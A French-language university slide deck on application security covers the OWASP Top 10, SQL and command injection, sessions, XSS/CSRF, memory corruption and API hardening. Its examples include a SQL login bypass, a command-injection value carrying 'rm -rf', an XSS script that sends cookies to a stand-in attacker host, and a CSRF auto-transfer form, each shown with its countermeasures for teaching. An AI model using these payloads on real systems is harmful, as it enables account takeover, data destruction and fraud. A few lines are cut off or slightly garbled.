

Sécurité des applications

Diapositives complètes — Dr. Zakaria Sawadogo, École Polytechnique de Ouagadougou

Chapitre 1 — Introduction et panorama OWASP Top 10

Sécurité des applications

DR. ZAKARIA SAWADOGO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

1. Pourquoi la sécurité applicative est un enjeu central

Les applications (web, mobiles, API) constituent aujourd'hui la surface d'attaque la plus exposée et la plus dynamique des systèmes d'information : accessibles depuis Internet, mises à jour fréquemment, développées avec de nombreuses dépendances tierces. Ce module approfondit chaque classe de vulnérabilité déjà introduite au module *Audit organisation et technique* (chapitre 5), avec un objectif de compréhension technique fine et de mise en œuvre de contre-mesures.

2. Rappel du classement OWASP Top 10 (édition de référence)

1. Contrôle d'accès défaillant (*broken access control*)
2. Défaillances cryptographiques
3. Injection
4. Conception non sécurisée (*insecure design*)
5. Mauvaise configuration de sécurité
6. Composants vulnérables et obsolètes
7. Défaillances d'identification et d'authentification
8. Défaillances d'intégrité des données et logiciels
9. Journalisation et surveillance insuffisantes
10. Falsification de requête côté serveur (SSRF)

Ce classement évolue périodiquement en fonction des données réelles de vulnérabilités observées ; il reste la référence pédagogique et professionnelle la plus largement adoptée pour structurer un programme de sécurité applicative.

3. Principe général : ne jamais faire confiance aux entrées

Le fil conducteur de la quasi-totalité des vulnérabilités applicatives est le même : **une donnée provenant d'une source non fiable (utilisateur, système tiers) est traitée comme si elle était fiable**, sans validation ni neutralisation appropriée avant d'être utilisée dans un contexte sensible (requête base de données, commande système, page HTML, chemin de fichier). Ce principe unificateur permet d'aborder chaque classe de vulnérabilité du module comme une variation d'un même problème fondamental, appliqué à des contextes différents.

4. Validation, encodage, échappement : trois mécanismes distincts à ne pas confondre

- **Validation** : vérifier qu'une entrée respecte un format attendu (ex. une adresse e-mail respecte une syntaxe donnée), idéalement par liste blanche (n'accepter que ce qui est explicitement autorisé) plutôt que par liste noire (tenter de bloquer ce qui est connu comme dangereux, toujours incomplète).
- **Encodage/échappement contextuel** : transformer une donnée pour qu'elle soit interprétée comme une donnée inerte et non comme du code exécutable dans le contexte de sortie visé (ex. échapper les caractères spéciaux HTML avant insertion dans une page, pour prévenir le XSS — chapitre 4).
- **Paramétrage** : séparer structurellement le code de la donnée (ex. requêtes préparées en base de données — chapitre 2), la meilleure défense car elle élimine la classe de vulnérabilité par construction plutôt que de tenter de neutraliser après coup une donnée déjà mélangée au code.

5. Défense en profondeur appliquée à la sécurité applicative

Rappel du module *Security by design* : aucune contre-mesure unique n'est infaillible. Une application robuste combine validation des entrées, requêtes paramétrées, contrôle d'accès systématique, moindre privilège des comptes de service, journalisation, et surveillance — de sorte qu'une défaillance isolée d'une couche ne suffise pas à compromettre l'ensemble.

6. Méthodologie de ce module

Chaque chapitre suivant traite une famille de vulnérabilités selon la même structure : mécanisme technique de la vulnérabilité, exemple d'exploitation, impact, contre-mesures. Les TP associés permettent une mise en pratique contrôlée sur des cibles pédagogiques dédiées.

À retenir

- L'OWASP Top 10 structure ce module ; chaque chapitre suivant approfondit une ou plusieurs de ses catégories.
- Le principe unificateur des vulnérabilités applicatives est le traitement d'une entrée non fiable comme si elle était fiable.
- Validation par liste blanche, encodage contextuel et paramétrage sont trois mécanismes de défense distincts, souvent combinés.

Chapitre 2 — Vulnérabilités d'injection

Sécurité des applications

DR. ZAKARIA SAWADO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

1. Principe général de l'injection

Une injection se produit lorsqu'une donnée fournie par un utilisateur est concaténée directement dans une commande, une requête ou un interpréteur, sans séparation stricte entre code et donnée, permettant à l'attaquant de modifier la structure ou la sémantique de la commande exécutée.

Exemple de code vulnérable

```
-- Requête construite par concaténation de chaînes
requete = "SELECT * FROM utilisateurs WHERE login = '" + login + "'" AND motdepasse = '" + motdepasse + "'"
```

Si `login` reçoit la valeur `admin' --`, la requête devient :

```
SELECT * FROM utilisateurs WHERE login = 'admin' -- ' AND motdepasse = '...'
```

Le `--` commente le reste de la requête (syntaxe SQL) : la vérification du mot de passe est neutralisée, permettant une connexion en tant qu'`admin` sans en connaître le mot de passe.

Injection UNION-based

Une injection peut aussi être utilisée pour extraire des données d'autres tables via l'opérateur `UNION SELECT`, si le nombre et le type de colonnes sont devinés ou déduits par tâtonnement (technique pratiquée en TP1).

Injection en aveugle (blind SQL injection)

Lorsque l'application ne retourne pas directement le résultat de la requête mais seulement un comportement différent (page d'erreur, temps de réponse), un attaquant peut néanmoins extraire des données bit par bit en observant ces différences (injection booléenne ou temporelle).

Contre-mesure de référence : requêtes préparées (paramétrées)

```
requete = "SELECT * FROM utilisateurs WHERE login = ? AND motdepasse = ?"
executer(requete, [login, motdepasse])
```

La donnée est transmise séparément de la structure de la requête au moteur de base de données, qui ne l'interprète jamais comme du code SQL, quel que soit son contenu. C'est la défense structurelle recommandée en priorité, à préférer systématiquement à un simple échappement de

3. Injection de commande système

```
char commande[100];  
snprintf(commande, sizeof(commande), "ping -c 1 %s", entree_utilisateur);  
system(commande);
```

Si `entree_utilisateur` vaut `8.8.8.8; rm -rf /donnees`, la commande système exécutée exécute en réalité deux commandes distinctes, la seconde étant totalement contrôlée par l'attaquant. **Contre-mesure** : éviter autant que possible d'appeler un interpréteur de commande shell avec des données utilisateur ; si indispensable, utiliser des API d'exécution de processus qui séparent explicitement la commande de ses arguments (sans passer par un shell interprétant les métacaractères), et valider strictement le format attendu (liste blanche).

4. Autres formes d'injection

Type	Contexte	Exemple
LDAP injection	annuaires d'authentification	manipulation d'un filtre de recherche LDAP
XPath injection	requêtes sur documents XML	équivalent de l'injection SQL pour XPath
NoSQL injection	bases de données non relationnelles	injection d'opérateurs de requête dans un objet JSON mal validé
Injection de gabarit côté serveur (SSTI)	moteurs de templates web	exécution de code via une syntaxe de template non neutralisée
Injection de code (command/eval injection)	fonctions d'évaluation dynamique de code	passage direct d'une entrée utilisateur à une fonction <code>eval()</code> ou équivalente

5. Principe de défense commun

Quelle que soit la variante, la défense structurelle privilégiée est la **séparation stricte entre code et donnée** (requêtes paramétrées, API d'exécution sans interprétation shell, désactivation des fonctionnalités dynamiques dangereuses des moteurs de template), complétée par une validation stricte des entrées en liste blanche et le principe du moindre privilège pour le compte utilisé par l'application (un compte de base de données en lecture seule limite l'impact même en cas d'injection réussie).

| À retenir

- L'injection résulte du mélange entre code et donnée non fiable dans un même flux interprété.
- Les requêtes préparées constituent la défense de référence contre l'injection SQL, structurellement plus robuste qu'un simple échappement.
- Le principe de moindre privilège du compte applicatif limite l'impact même en cas de contournement des autres défenses.

Chapitre 3 — Authentification et gestion de sessions

Sécurité des applications

DR. ZAKARIA SAWADOGO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

1. Authentification : rappels et bonnes pratiques

Stockage des mots de passe

Rappel des modules *Cryptanalyse* et *Cryptographie* : un mot de passe ne doit jamais être stocké en clair, ni haché avec une fonction générique rapide seule (SHA-256 brut) ; utiliser une fonction dédiée et volontairement lente, salée (bcrypt, scrypt, Argon2).

Politique de mots de passe

Les recommandations actuelles (NIST SP 800-63B notamment) privilégient une **longueur minimale suffisante** (12 caractères ou plus) plutôt que des règles de composition complexes peu efficaces en pratique (les utilisateurs contournent des règles trop contraignantes par des motifs prévisibles) ; vérification contre des listes de mots de passe déjà compromis (recommandée) ; suppression de l'expiration périodique forcée sans raison (mesure historiquement répandue mais aujourd'hui considérée contre-productive, car elle pousse à des variations prévisibles).

Authentification multi-facteurs (MFA)

Combine au moins deux catégories parmi : ce que l'utilisateur **sait** (mot de passe), ce qu'il **possède** (application d'authentification, clé de sécurité physique), ce qu'il **est** (biométrie). Réduit fortement l'impact d'un mot de passe compromis (par phishing, fuite de données, réutilisation).

2. Défaillances d'authentification fréquentes

Défaillance	Risque
Absence de limitation du nombre de tentatives	attaque par force brute ou par dictionnaire praticable
Messages d'erreur distinguant « utilisateur inconnu » de « mot de passe incorrect »	permet à un attaquant d'énumérer les comptes existants
Absence de MFA sur les comptes à privilèges	un mot de passe compromis suffit à compromettre un compte critique
Réinitialisation de mot de passe mal sécurisée	jeton de réinitialisation prévisible ou sans expiration, permettant une prise de contrôle de compte
Credential stuffing non contrôlé	réutilisation automatisée de couples identifiant/mot de passe issus de fuites de données antérieures sur d'autres services

3. Gestion de sessions

Après authentification, un **identifiant de session** (généralement transmis via un cookie) permet à l'application de reconnaître l'utilisateur sur les requêtes suivantes sans redemander ses identifiants à chaque fois.

Exigences de sécurité d'un identifiant de session

- **Imprévisibilité** : généré par un générateur aléatoire cryptographiquement sûr, suffisamment long pour résister à une attaque par force brute.
- **Régénération après authentification** : un identifiant de session attribué avant authentification ne doit jamais rester valide après (prévention de la **fixation de session**, où un attaquant impose à sa victime un identifiant de session qu'il connaît à l'avance).
- **Expiration** : durée de vie limitée, avec expiration après une période d'inactivité et invalidation explicite à la déconnexion.
- **Attributs de cookie sécurisés** : `Secure` (transmission uniquement en HTTPS), `HttpOnly` (inaccessible au JavaScript côté client, limitant l'impact d'un XSS — chapitre 4), `SameSite` (limite l'envoi automatique du cookie lors de requêtes intersites, contre-mesure au CSRF — chapitre 4).

4. Authentification fédérée et jetons (aperçu)

De nombreuses applications modernes délèguent l'authentification à un fournisseur d'identité tiers (OAuth 2.0, OpenID Connect) plutôt que de gérer elles-mêmes des mots de passe. Ces protocoles introduisent leurs propres risques (mauvaise validation d'un jeton, absence de vérification de la signature d'un JWT, confusion entre autorisation et authentification) qui nécessitent une compréhension précise du protocole utilisé plutôt qu'une implémentation ad hoc.

JWT (JSON Web Token) : points de vigilance

- Toujours vérifier la **signature** du jeton reçu, avec l'algorithme attendu explicitement fixé côté serveur (ne jamais faire confiance à l'algorithme annoncé dans l'en-tête du jeton lui-même — une classe de vulnérabilité réelle où un attaquant modifie l'algorithme annoncé en `none` ou substitue une clé publique en clé symétrique).
- Vérifier systématiquement l'expiration (`exp`) et l'émetteur attendu.
- Ne jamais stocker d'informations sensibles non chiffrées dans le contenu d'un JWT, qui n'est qu'encodé (Base64), pas chiffré, et donc lisible par quiconque intercepte le jeton.

À retenir

- Une politique de mot de passe moderne privilégie la longueur et la vérification contre des mots de passe déjà compromis plutôt que des règles de composition contraignantes et peu efficaces.
- La gestion de session exige régénération après authentification, expiration maîtrisée, et attributs de cookie sécurisés (Secure, HttpOnly, SameSite).
- L'authentification fédérée (OAuth/OIDC/JWT) déplace le risque vers une bonne compréhension du protocole et une vérification rigoureuse des jetons, plutôt que de l'éliminer.

Chapitre 4 — Vulnérabilités côté client : XSS, CSRF, clickjacking

Sécurité des applications

DR. ZAKARIA SAWADO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

Principe

Une vulnérabilité XSS survient lorsqu'une donnée non fiable est insérée dans une page HTML sans encodage contextuel approprié, permettant à un attaquant de faire exécuter du code JavaScript arbitraire dans le navigateur d'une victime, dans le contexte de sécurité du site légitime.

Trois formes principales

Type	Mécanisme
XSS réfléchi	la charge malveillante est incluse dans la requête (ex. paramètre d'URL) et renvoyée immédiatement dans la réponse, sans être stockée ; nécessite de piéger la victime pour qu'elle clique un lien spécialement construit
XSS stocké (persistant)	la charge est enregistrée côté serveur (ex. commentaire, champ de profil) et exécutée pour tout utilisateur consultant ultérieurement le contenu affecté ; impact généralement plus large
XSS DOM-based	la vulnérabilité provient d'un traitement non sûr côté client (JavaScript manipulant directement le DOM à partir de données non fiables), sans que le serveur soit nécessairement impliqué dans la faille

Exemple

```
<!-- Champ de commentaire affiché sans encodage -->
<p>Commentaire : <?php echo $commentaire_utilisateur; ?></p>
```

Si `$commentaire_utilisateur` vaut `<script>document.location='https://attaquant.example/vol?c='+document.cookie</script>`, ce script s'exécute dans le navigateur de tout visiteur affichant ce commentaire, avec accès potentiel au cookie de session de la victime (d'où l'importance de l'attribut `HttpOnly` vu au chapitre 3, qui limite précisément ce vecteur).

Contre-mesures

- **Encodage contextuel systématique** en sortie (HTML, attribut, JavaScript, URL — chaque contexte a ses propres règles d'encodage).
- **Content Security Policy (CSP)** : en-tête HTTP restreignant les sources de scripts autorisées à s'exécuter sur une page, limitant fortement l'impact d'un XSS même si l'injection réussit.
- Utilisation de frameworks front-end effectuant un encodage automatique par défaut (la plupart des frameworks modernes encodent par défaut, à condition de ne pas contourner ce mécanisme volontairement, ex. via des fonctions explicitement nommées « dangereuses »)

2. Cross-Site Request Forgery (CSRF)

Principe

Un attaquant piège la victime (déjà authentifiée sur un site cible) pour qu'elle exécute, à son insu, une requête vers ce site (ex. via une page piégée provoquant une soumission de formulaire automatique) : le navigateur joint automatiquement les cookies de session valides, faisant apparaître la requête comme légitime aux yeux du serveur.

Exemple

```
<!-- Page piégée hébergée par l'attaquant -->
<form action="https://banque.example/virement" method="POST">
  <input type="hidden" name="destinataire" value="compte-attaquant">
  <input type="hidden" name="montant" value="5000">
</form>
<script>document.forms[0].submit();</script>
```

Si la victime authentifiée sur `banque.example` visite cette page piégée, son navigateur soumet automatiquement le formulaire avec ses cookies de session valides.

Contre-mesures

- **Jeton anti-CSRF** : valeur unique et imprévisible générée côté serveur, incluse dans chaque formulaire sensible et vérifiée à la soumission — un attaquant externe ne peut pas connaître ce jeton.
- **Attribut de cookie `SameSite`** (rappel chapitre 3) : empêche le navigateur d'envoyer automatiquement le cookie de session lors d'une requête intersite dans de nombreux cas.
- Vérification de l'en-tête `Origin/Referer` pour les opérations sensibles.

3. Clickjacking

Un attaquant superpose (via une iframe transparente) une page légitime sous une interface trompeuse, incitant la victime à cliquer sur un élément de la page légitime sans le savoir (ex. un bouton « activer le micro » ou « confirmer un paiement » masqué sous un bouton apparemment inoffensif).

Contre-mesure : en-tête HTTP `X-Frame-Options` ou directive CSP `frame-ancestors`, empêchant qu'une page sensible soit chargée dans une iframe par un site non autorisé.

4. Injection côté client : DOM et frameworks modernes

Les applications à page unique (SPA) manipulant intensivement le DOM côté client introduisent des variantes de ces vulnérabilités (XSS DOM-based en particulier), nécessitant une vigilance spécifique sur toute fonction manipulant directement le HTML à partir de données non fiables (fonctions explicitement signalées comme dangereuses par les frameworks modernes, à éviter sauf nécessité strictement justifiée et accompagnée d'un encodage manuel rigoureux).

À retenir

- XSS exploite une insertion non sécurisée de données dans une page ; CSRF exploite la confiance automatique du navigateur envers des cookies de session lors de requêtes intersites — deux mécanismes distincts nécessitant des contre-mesures distinctes.
- L'encodage contextuel systématique et une CSP bien configurée sont les défenses de référence contre XSS ; le jeton anti-CSRF et l'attribut `SameSite` sont les défenses de référence contre CSRF.
- Le clickjacking se prévient simplement par les en-têtes HTTP appropriés (`X-Frame-Options`, `frame-ancestors`), souvent négligés en pratique.

Chapitre 5 — Vulnérabilités mémoire bas niveau et exploitation

Sécurité des applications

DR. ZAKARIA SAWADO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

1. Retour sur les fondamentaux (lien avec le module Algorithmique et C)

Ce chapitre approfondit, sous l'angle de l'exploitation, les vulnérabilités mémoire déjà identifiées comme risques au module *Algorithmique et Programmation en C* (chapitres 5 et 6) : débordement de tampon, use-after-free, format string.

2. Anatomie d'un débordement de tampon sur la pile (stack overflow)

La pile d'exécution contient, pour chaque appel de fonction, les variables locales et l'**adresse de retour** (l'endroit où l'exécution doit reprendre après la fin de la fonction). Un débordement de tampon local mal borné peut écraser cette adresse de retour :

```
void fonction_vulnerable(char *entree) {  
    char buffer[64];  
    strcpy(buffer, entree); // aucune vérification de taille  
}
```

Si `entree` dépasse 64 octets, les octets excédentaires écrasent la mémoire adjacente sur la pile, potentiellement jusqu'à l'adresse de retour. Un attaquant maîtrisant précisément le contenu de ce dépassement peut rediriger l'adresse de retour vers du code de son choix (souvent injecté dans le buffer lui-même, technique historique dite du « shellcode »), détournant ainsi le flot d'exécution du programme.

3. Contre-mesures systémiques (défense en profondeur au niveau du système)

Les systèmes d'exploitation et compilateurs modernes ont introduit plusieurs mécanismes rendant l'exploitation d'un débordement de tampon bien plus difficile qu'à l'époque des premières attaques historiques (fin des années 1990) :

Contre-mesure	Principe
Stack canary	valeur secrète placée entre les variables locales et l'adresse de retour, vérifiée avant le retour de fonction ; toute modification (par débordement) est détectée et provoque l'arrêt du programme
ASLR (Address Space Layout Randomization)	randomise l'emplacement en mémoire du tas, de la pile et des bibliothèques à chaque exécution, rendant plus difficile de prédire l'adresse exacte vers laquelle rediriger l'exécution
DEP/NX (Data Execution Prevention / No-eXecute)	marque les zones mémoire de données (dont la pile) comme non exécutables, empêchant l'exécution directe d'un shellcode injecté dans un buffer
RELRO, PIE	durcissements complémentaires sur les tables de symboles et le positionnement du code exécutable

Ces protections ont donné naissance à des techniques d'exploitation plus avancées (return-oriented programming — ROP, qui réutilise des fragments de code déjà exécutables présents dans le programme plutôt que d'injecter du code nouveau, contournant DEP/NX), objet d'un approfondissement possible au-delà de ce cours introductif.

4. Autres vulnérabilités mémoire exploitables

- **Débordement de tampon sur le tas (heap overflow)** : cible des structures de gestion du tas ou des données adjacentes, exploitation généralement plus complexe que sur la pile mais toujours d'actualité (rappel module C, chapitre 6).
- **Use-after-free** : exploitation d'un pointeur pendant vers une zone mémoire libérée puis réallouée à d'autres données, permettant potentiellement à un attaquant de manipuler des structures de données internes du programme.
- **Vulnérabilité de chaîne de format (format string)** : passage d'une entrée utilisateur directement comme chaîne de format à une fonction comme `printf(entree_utilisateur)` (au lieu de `printf("%s", entree_utilisateur)`), permettant à un attaquant, via des spécificateurs de format (`%x`, `%n`), de lire voire d'écrire en mémoire.
- **Débordement d'entier (integer overflow)** : un calcul de taille qui déborde silencieusement peut conduire à une allocation mémoire plus petite que prévu, provoquant ensuite un débordement lors du remplissage de cette zone sous-dimensionnée.

5. Démarche d'analyse d'une vulnérabilité mémoire (aperçu, développé en TP3)

1. Identifier le point d'entrée de données non fiables et la fonction dangereuse concernée.
2. Déterminer la structure mémoire environnante (variables locales, ordre en mémoire, présence de protections).
3. Construire une entrée de test provoquant un comportement anormal observable (plantage contrôlé).
4. Affiner progressivement pour comprendre précisément l'impact (simple déni de service par plantage, ou contrôle du flot d'exécution).

6. Prévention à la source : la meilleure défense

Au-delà des contre-mesures systémiques (qui compliquent l'exploitation mais ne l'empêchent pas toujours), la prévention la plus fiable reste à la source : fonctions bornées (`snprintf` plutôt que `sprintf/strcpy`), vérification systématique des tailles, compilation avec les avertissements activés et des outils d'analyse statique/dynamique (AddressSanitizer, valgrind — rappel module C, TP6), et, pour de nouveaux développements sensibles, l'usage de langages à sécurité mémoire garantie par construction (Rust, Go) lorsque le contexte le permet.

À retenir

- Un débordement de tampon sur la pile peut, en l'absence de protections, permettre à un attaquant de rediriger le flot d'exécution du programme.
- Les protections systématiques modernes (canary, ASLR, DEP/NX) rendent l'exploitation bien plus difficile mais ne remplacent pas une prévention rigoureuse à la source.
- La prévention à la source (fonctions bornées, vérifications systématiques, outils d'analyse) reste la défense la plus fiable, en cohérence directe avec les pratiques déjà vues au module *Algorithmique et Programmation en C*.

Chapitre 6 — Sécurisation des API et bonnes pratiques

Sécurité des applications

DR. ZAKARIA SAWADOGO — ÉCOLE POLYTECHNIQUE DE OUAGADOUGOU

1. Spécificités de la sécurité des API

Les API (notamment REST et GraphQL) sont devenues le principal mode d'intégration entre applications, exposant souvent directement une logique métier et des données sensibles, avec une surface d'attaque distincte des applications web traditionnelles (pas d'interface graphique intermédiaire filtrant implicitement certains usages).

2. OWASP API Security Top 10 (panorama)

Référentiel dédié, distinct du Top 10 applicatif général, structurant les risques spécifiques aux API :

- **Contrôle d'accès défaillant au niveau des objets (BOLA)** : un utilisateur accède aux données d'un autre utilisateur en modifiant simplement un identifiant dans la requête (ex. `GET /api/commandes/1234` accessible en changeant l'identifiant, sans vérification que la commande appartient bien à l'utilisateur authentifié) — variante API de l'IDOR déjà vu.
- **Authentification défaillante** : rappel du chapitre 3, appliqué spécifiquement aux jetons d'API.
- **Exposition excessive de données (excessive data exposure)** : l'API renvoie plus de champs que nécessaire, en s'appuyant sur le client pour filtrer l'affichage — un attaquant inspectant directement la réponse brute accède alors à des données qui n'auraient jamais dû être transmises.
- **Absence de limitation de ressources et de débit (rate limiting)** : permet des attaques par force brute, de déni de service, ou une extraction massive de données (scraping).
- **Contrôle d'accès défaillant au niveau des fonctions (BFLA)** : un utilisateur standard parvient à appeler un endpoint réservé aux administrateurs faute de vérification côté serveur (une restriction uniquement appliquée côté interface utilisateur n'est jamais suffisante).
- **Mauvaise configuration de sécurité** : en-têtes de sécurité manquants, messages d'erreur trop verbeux révélant des détails d'implémentation, CORS mal configuré (autorisant des origines non nécessaires).

3. Authentification et autorisation des API

- **Clés d'API** : simples à mettre en œuvre mais offrant peu de granularité ; à transmettre exclusivement via un en-tête HTTP (jamais dans l'URL, qui peut être journalisée ou mise en cache) et sur une connexion chiffrée.
- **OAuth 2.0** : cadre standard de délégation d'autorisation, permettant à une application tierce d'accéder à des ressources au nom d'un utilisateur sans jamais connaître son mot de passe.
- **JWT** : rappel du chapitre 3, avec vérification stricte de la signature et de l'expiration.
- **Principe du moindre privilège appliqué aux portées (scopes)** : une clé/jeton d'API ne devrait donner accès qu'aux opérations et ressources strictement nécessaires à l'usage prévu, pas à l'ensemble de l'API par défaut.

4. Validation systématique côté serveur

Principe absolu : **toute validation effectuée uniquement côté client (JavaScript) doit être considérée comme inexistante du point de vue de la sécurité**, car un attaquant peut appeler directement l'API en contournant totalement l'interface utilisateur. Toute règle de sécurité (autorisation, validation de format, limites métier) doit être appliquée et vérifiée côté serveur, la validation côté client n'étant qu'un confort d'expérience utilisateur, jamais un contrôle de sécurité.

5. Configuration CORS (Cross-Origin Resource Sharing)

Le mécanisme CORS définit quelles origines web sont autorisées à effectuer des requêtes cross-origin vers une API depuis un navigateur. Une configuration `Access-Control-Allow-Origin: *` combinée à l'autorisation d'envoi de cookies/identifiants est une mauvaise pratique fréquente, pouvant faciliter des attaques exploitant le navigateur d'un utilisateur authentifié depuis un site tiers malveillant.

6. Limitation de débit et quotas (rate limiting)

Mesure de défense en profondeur essentielle, souvent négligée : limiter le nombre de requêtes qu'un client (identifié par clé d'API, jeton ou adresse IP) peut effectuer dans une fenêtre de temps donnée, contrant à la fois les attaques par force brute sur l'authentification et l'extraction massive de données.

7. Journalisation et supervision des API

Journaliser les tentatives d'accès refusées, les erreurs d'authentification répétées, et les schémas d'usage anormaux (rappel du module *Gouvernance*, chapitre 4, sur les indicateurs de sécurité), pour permettre la détection d'une exploitation en cours et alimenter une réponse à incident.

8. Synthèse : une checklist de sécurisation d'API

1. Authentification forte et jetons correctement vérifiés (chapitre 3).
2. Autorisation vérifiée systématiquement à chaque appel, au niveau objet et fonction (jamais déléguée au client).
3. Validation stricte des entrées côté serveur, quelle que soit la validation déjà présente côté client.
4. Exposition minimale des données (ne renvoyer que les champs nécessaires).
5. Limitation de débit et quotas.
6. Configuration CORS restrictive et justifiée.
7. Chiffrement systématique des communications (TLS, module *Cryptographie*).
8. Journalisation et supervision des accès et anomalies.

À retenir

- L'OWASP API Security Top 10 recense des risques spécifiques aux API (BOLA, BFLA, exposition excessive de données, absence de rate limiting), complémentaires du Top 10 applicatif général.
- Aucune validation ni autorisation effectuée uniquement côté client ne doit être considérée comme un contrôle de sécurité : tout doit être revérifié côté serveur.
- La sécurisation d'une API repose sur la combinaison systématique de plusieurs contrôles (authentification, autorisation, validation, limitation de débit, configuration, journalisation), en cohérence directe avec la défense en profondeur vue au module *Security by design*.